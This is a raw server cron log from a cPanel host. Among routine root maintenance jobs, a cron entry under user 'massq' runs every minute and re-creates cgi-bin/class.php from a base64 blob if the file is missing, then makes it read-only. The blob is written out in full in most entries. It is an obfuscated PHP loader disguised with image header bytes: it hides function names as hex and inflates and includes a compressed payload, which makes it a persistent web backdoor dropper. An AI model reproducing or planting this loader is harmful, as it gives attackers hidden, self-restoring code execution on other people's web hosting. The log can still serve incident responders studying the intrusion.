Sep 10 07:58:01 server CROND[31003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:59:01 server CROND[31367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:59:01 server CROND[31368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:59:01 server CROND[31369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:00:01 server CROND[31751]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 08:00:01 server CROND[31753]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep 10 08:00:01 server CROND[31755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:00:01 server CROND[31756]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:00:01 server CROND[31757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:00:01 server CROND[31759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:00:01 server CROND[31760]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 08:00:01 server CROND[31758]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:00:01 server CROND[31761]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:00:01 server CROND[31763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:00:01 server CROND[31762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:01:01 server CROND[32619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:01:01 server CROND[32620]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 08:01:01 server CROND[32622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:01:01 server CROND[32621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:01:01 server run-parts(/etc/cron.hourly)[32620]: starting 0anacron
Sep 10 08:01:01 server run-parts(/etc/cron.hourly)[32642]: finished 0anacron
Sep 10 08:02:01 server CROND[661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:02:01 server CROND[662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:02:01 server CROND[664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:03:01 server CROND[1101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:03:01 server CROND[1102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:03:01 server CROND[1103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:04:01 server CROND[1509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:04:01 server CROND[1510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:04:01 server CROND[1511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:05:01 server CROND[1902]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 08:05:01 server CROND[1903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:05:01 server CROND[1909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:05:01 server CROND[1912]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:05:01 server CROND[1914]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 08:05:01 server CROND[1921]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:05:01 server CROND[1920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:05:01 server CROND[1911]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:05:01 server CROND[1919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:06:01 server CROND[2823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:06:01 server CROND[2822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:06:01 server CROND[2824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:07:01 server CROND[3348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:07:01 server CROND[3349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:07:01 server CROND[3350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:08:01 server CROND[3725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:08:01 server CROND[3726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:08:01 server CROND[3729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:09:01 server CROND[4113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:09:01 server CROND[4114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:09:01 server CROND[4115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
